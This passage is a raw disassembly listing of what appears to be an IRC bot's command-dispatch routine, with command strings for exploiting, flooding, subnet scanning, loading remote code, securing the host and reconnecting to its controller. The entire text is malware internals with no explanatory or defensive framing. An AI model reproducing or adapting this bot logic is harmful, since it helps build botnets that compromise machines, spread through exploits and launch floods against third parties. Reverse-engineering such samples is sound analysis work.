		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC34
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BC0C
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBEC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A0DE3h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BBB4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB94
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BB18
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB03C
		call	dword_4CAEFC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAFC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAE0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42BA90
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA78
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA74
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42BA18
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42BA00

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9D4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B984
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B950
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B940
		push	offset dword_42B930
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B924
		push	offset dword_42B914
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_42B8B0
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42B844
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B810
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_42B7D4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B724
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B714
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6E8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B6BC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9F0

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE758, ebx
		jz	short loc_404A4A
		push	offset dword_4CE138

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B680
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B640
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE138
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE758, 1
		pop	ecx
		push	esi
		push	offset unk_42B614

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42B59C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
